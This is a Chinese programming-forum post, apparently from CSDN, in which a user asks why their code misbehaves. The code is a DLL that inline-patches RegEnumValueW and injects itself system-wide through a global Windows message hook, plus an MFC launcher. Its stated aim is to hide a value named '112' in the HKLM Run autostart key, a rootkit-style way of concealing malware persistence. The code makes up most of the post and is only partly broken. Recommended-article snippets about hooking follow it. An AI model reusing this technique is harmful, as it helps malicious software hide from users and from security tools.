HOOK API 奇怪的错误!!!!!!

fantcy fantcy 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
以下是dll端 和调用端exe(MFC)的代码:
运行后打开注册表不知道怎么回事 老是弹出"无法读取内容" 的错误提示!
弹一会之后我再看run健的时候发现112并没有隐藏 还有!!! 不知道是怎么回事!。
此段代码是想把112这个字符串隐藏 是在这个目录下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

#include "stdafx.h"

#pragma data_seg(".shared")

DWORD ProtectingPid = 0;

#pragma data_seg()

HMODULE MyModuleHandle;
HHOOK hhk = NULL;
DWORD MyPid = 0;
unsigned char Store[10];


long _stdcall SelfInject();
long _stdcall SelfEject();

LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam);
LONG WINAPI RegEnumValue2(
HKEY hKey,
DWORD dwIndex,
LPTSTR lpValueName,
LPDWORD lpcchValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
void HookAPI();
void UnHookAPI();
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD reason,
LPVOID lpReserved
)
{
if (reason == DLL_PROCESS_ATTACH)
{
HookAPI();
MyModuleHandle = (HMODULE)hModule;
MyPid = GetCurrentProcessId();
}
return TRUE;
}

long _stdcall SelfInject() //__declspec(dllexport) bool SelfInject()//long _stdcall SelfInject(); // bool SelfInject()
{
ProtectingPid = MyPid;
hhk = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,MyModuleHandle,0);
return (hhk != NULL);
}

long _stdcall SelfEject() //__declspec(dllexport) bool SelfEject() // bool SelfEject() //__declspec(dllexport)
{
return UnhookWindowsHookEx(hhk);
}

LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam)
{
return CallNextHookEx(hhk,nCode,wParam,lParam);
}

void HookAPI()
{
DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;
HMODULE hmod = GetModuleHandle("Advapi32.dll");
long pa = (long)GetProcAddress(hmod,"RegEnumValueW");
long pa2 = (long)RegEnumValue2;
long dAddr = pa2 - pa - 5;
unsigned char *p = (unsigned char *)pa;
unsigned char *p2 = (unsigned char *)(&dAddr);

VirtualProtect((void *)pa,5,NewProtect,&OldProtect);

for(int i=0;i<5;i++)
Store[i] = p[i];

p[0] = (unsigned char)0xE9;
for(i=0;i<4;i++)
p[i + 1] = p2[i];

VirtualProtect((void *)pa,5,OldProtect,&NewProtect);
}

void UnHookAPI()
{
DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;
HMODULE hmod = GetModuleHandle("Advapi32.dll");
long pa = (long)GetProcAddress(hmod,"RegEnumValueW");
unsigned char *p = (unsigned char *)pa;

VirtualProtect((void *)pa,5,NewProtect,&OldProtect);

for (int i=0;i<5;i++)
p[i] = Store[i];

VirtualProtect((void *)pa,5,OldProtect,&NewProtect);
}

LONG WINAPI RegEnumValue2(
HKEY hKey,
DWORD dwIndex,
LPTSTR lpValueName,
LPDWORD lpcchValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
)
{
UnHookAPI();
LONG ans = RegEnumValue(hKey,dwIndex,lpValueName,lpcchValueName,lpReserved,lpType,lpData,lpcbData);
//::MessageBox(NULL,lpValueName,"nihao",MB_OK);
if (lstrcmpA(lpValueName,"112")==0) //lstrcmpA
{
return ERROR_NO_MORE_ITEMS;
}
HookAPI();
return ans;
}

// ttouDlg.cpp : implementation file
//

#include "stdafx.h"
#include "ttou.h"
#include "ttouDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
CAboutDlg();

// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA

// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL

// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTtouDlg dialog

CTtouDlg::CTtouDlg(CWnd* pParent /*=NULL*/)
: CDialog(CTtouDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CTtouDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CTtouDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CTtouDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CTtouDlg, CDialog)
//{{AFX_MSG_MAP(CTtouDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTtouDlg message handlers

BOOL CTtouDlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Add "About..." menu item to system menu.

// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);

CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here

return TRUE; // return TRUE unless you set the focus to a control
}

void CTtouDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CTtouDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CTtouDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
_declspec(dllimport) long _stdcall SelfInject();
void CTtouDlg::OnButton1()
{
//HINSTANCE hInst = ::AfxGetInstanceHandle();
//::MessageBox(NULL,(char*)hInst,"nihao",MB_OK);
SelfInject();
}
_declspec(dllimport) long _stdcall SelfEject();
void CTtouDlg::OnButton2()
{
SelfEject();
}


...全文

相关推荐

微信QQ消息防撤回原理与实现:内存Hook、API拦截与本地备份方案

在即时通讯软件中,消息撤回功能为用户提供了纠错机制,但在工作记录、证据留存等场景下,却可能造成信息缺失。从技术原理上看,实现消息防撤回的核心在于拦截或抢先保存数据,常见方案包括内存Hook、API拦截和窗口内容捕获。内存Hook通过注入动态链接库(DLL)挂钩关键函数,能在消息被撤回前实时保存内容,是较为高效稳定的方案。这类技术不仅满足了用户对信息完整性的需求,也为数据备份、审计追溯等场景提供了支持。在实际应用中,结合本地自动化备份脚本,可以构建一套可靠的消息留存体系,确保重要沟通记录得以持久化保存。

weixin_30631587

Frida Hook 微信小程序云 API 调用链深度解析

微信小程序的云开发能力(如 wx.cloud.callFunction)本质上是基于 JSBridge 的 Native 与 JS 协同机制,其调用过程涉及 funcId 路由、data 序列化、access_token 注入及 nativeSendRequest 网络转发等多层封装。理解该机制需从 WebView 沙箱约束出发,掌握 X5 内核 JSBridge 分发原理与 Frida 动态插桩技术,进而实现对云 SDK 运行时行为的可观测性——包括 token 缓存失效、双重 JSON 序列化陷阱、静默

天生双下巴

DLL注入与Hook:游戏Bug修复的黑科技

文章摘要: 本文以通俗易懂的方式解释了如何通过DLL注入和Hook函数技术来修复游戏bug。当游戏已发布且无法获取源代码时,开发者可以通过将自定义代码&quot;注入&quot;游戏进程,在关键函数前后进行干预,实现&quot;外挂式补丁&quot;的效果。文章详细介绍了DLL注入和Hook的原理,通过餐厅和财务代理等生活比喻帮助理解。重点阐述了两种修补方式(前置修补和后置修补)及其应用场景,并以窗口模式崩溃和鼠标灵敏度错误两个具体案例,展示了如何在不修改游戏原始文件的情况下修复bug。最后讨论了该技术的优

你一身傲骨怎能输

Frida IL2CPP Bridge实战指南:原理、环境搭建与Hook技巧

在移动安全与逆向工程领域,动态插桩技术是实现运行时分析和行为干预的核心手段。其原理是通过向目标进程注入代码,拦截并修改函数调用,从而实现对应用逻辑的深度洞察与控制。这项技术的核心价值在于能够在不修改原始二进制文件的情况下,实时监控和操纵应用行为,广泛应用于安全评估、漏洞挖掘、游戏修改和自动化测试等场景。Frida作为当前主流的动态插桩框架,凭借其跨平台特性和灵活的JavaScript API,已成为安全研究人员和开发者的首选工具。然而,随着Unity引擎广泛采用IL2CPP作为脚本后端,将C#代码编译为C+

weixin_30859423

Claude Code AI编程助手:Prompt与Hook机制解析与实践指南

在AI编程辅助领域,Prompt Engineering(提示工程)已成为提升代码生成质量的核心技术。其本质是通过结构化、清晰化的自然语言指令,引导大语言模型理解开发者的意图,从而生成符合预期的代码。这一过程涉及角色设定、任务分解、上下文提供等关键环节,直接影响AI输出的准确性和实用性。从工程实践角度看,有效的Prompt设计能显著提升开发效率,减少人工调试成本。与此同时,Hook(钩子)机制作为底层约束框架,负责执行安全过滤、合规检查、资源管理等保障性功能,确保AI生成内容的安全可控。这种“Prompt管

weixin_33968104
评论 5
收藏 已收藏
分享
返回顶部
fantcy
C++ 语言 65,214 成员 250,514 内容